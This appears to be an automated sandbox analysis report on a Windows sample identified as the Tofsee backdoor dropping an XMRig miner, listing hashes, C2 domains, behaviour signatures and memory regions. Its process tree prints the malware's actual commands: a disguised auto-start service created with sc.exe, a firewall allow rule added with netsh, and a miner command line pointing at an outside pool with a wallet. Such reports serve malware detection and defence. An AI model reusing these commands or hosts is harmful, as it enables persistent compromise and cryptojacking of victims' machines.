Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:26

General

  • Target

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe

  • Size

    247KB

  • MD5

    17f7e745dbc9477f5edbb4a02df91b06

  • SHA1

    896216645904844e1c012a4ce76234d0c6795f97

  • SHA256

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96

  • SHA512

    b36ee1060d897d5b19e0e779ca48f9a7a336bcce2700c9c6c6eb549dfd9a49174262d39655079e0704a44749e280aefcb9813da4b7ce354b2105b74f374c2e9b

  • SSDEEP

    6144:h/1BvthPXgbdbpePeXYD4JFKtFF9duXI5:J1FLfOBsee44F9duXI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe
    "C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qnlhcuoe\
      2⤵
        PID:2084
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdpurxwk.exe" C:\Windows\SysWOW64\qnlhcuoe\
        2⤵
          PID:2172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qnlhcuoe binPath= "C:\Windows\SysWOW64\qnlhcuoe\rdpurxwk.exe /d\"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qnlhcuoe "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qnlhcuoe
          2⤵
          • Launches sc.exe
          PID:3032
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2372
      • C:\Windows\SysWOW64\qnlhcuoe\rdpurxwk.exe
        C:\Windows\SysWOW64\qnlhcuoe\rdpurxwk.exe /d"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2080
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1172

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\rdpurxwk.exe

              Filesize

              14.5MB

              MD5

              f74e57d2076784f836cf23363fece569

              SHA1

              efd9554fd6823bbf5facc35753b624dfa9a2f1f0

              SHA256

              999feda5f26df64979b85364c0779cc49f94d3160a2f87126db3125c480fa616

              SHA512

              d3d1c57a411a0db4de6304077012cd2b83eec8ee717a9cccf8926f253edcc023ae46163cb9a69a778e586783683dc6bffe456649b01bace2f4f66105415e8802

            • C:\Windows\SysWOW64\qnlhcuoe\rdpurxwk.exe

              Filesize

              14.5MB

              MD5

              f74e57d2076784f836cf23363fece569

              SHA1

              efd9554fd6823bbf5facc35753b624dfa9a2f1f0

              SHA256

              999feda5f26df64979b85364c0779cc49f94d3160a2f87126db3125c480fa616

              SHA512

              d3d1c57a411a0db4de6304077012cd2b83eec8ee717a9cccf8926f253edcc023ae46163cb9a69a778e586783683dc6bffe456649b01bace2f4f66105415e8802

            • memory/1172-78-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-63-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-65-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-73-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-75-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-74-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-76-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1172-77-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2080-16-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2080-11-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2080-10-0x0000000000940000-0x0000000000A40000-memory.dmp

              Filesize

              1024KB

            • memory/2244-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2244-7-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2244-3-0x0000000000400000-0x00000000004F1000-memory.dmp

              Filesize

              964KB

            • memory/2244-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2244-1-0x00000000006D0000-0x00000000007D0000-memory.dmp

              Filesize

              1024KB

            • memory/2728-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2728-50-0x0000000000150000-0x0000000000155000-memory.dmp

              Filesize

              20KB

            • memory/2728-53-0x0000000000150000-0x0000000000155000-memory.dmp

              Filesize

              20KB

            • memory/2728-54-0x0000000005900000-0x0000000005D0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2728-57-0x0000000005900000-0x0000000005D0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2728-58-0x0000000000160000-0x0000000000167000-memory.dmp

              Filesize

              28KB

            • memory/2728-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2728-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2728-26-0x0000000001A40000-0x0000000001C4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2728-23-0x0000000001A40000-0x0000000001C4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2728-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2728-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2728-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2728-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2728-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB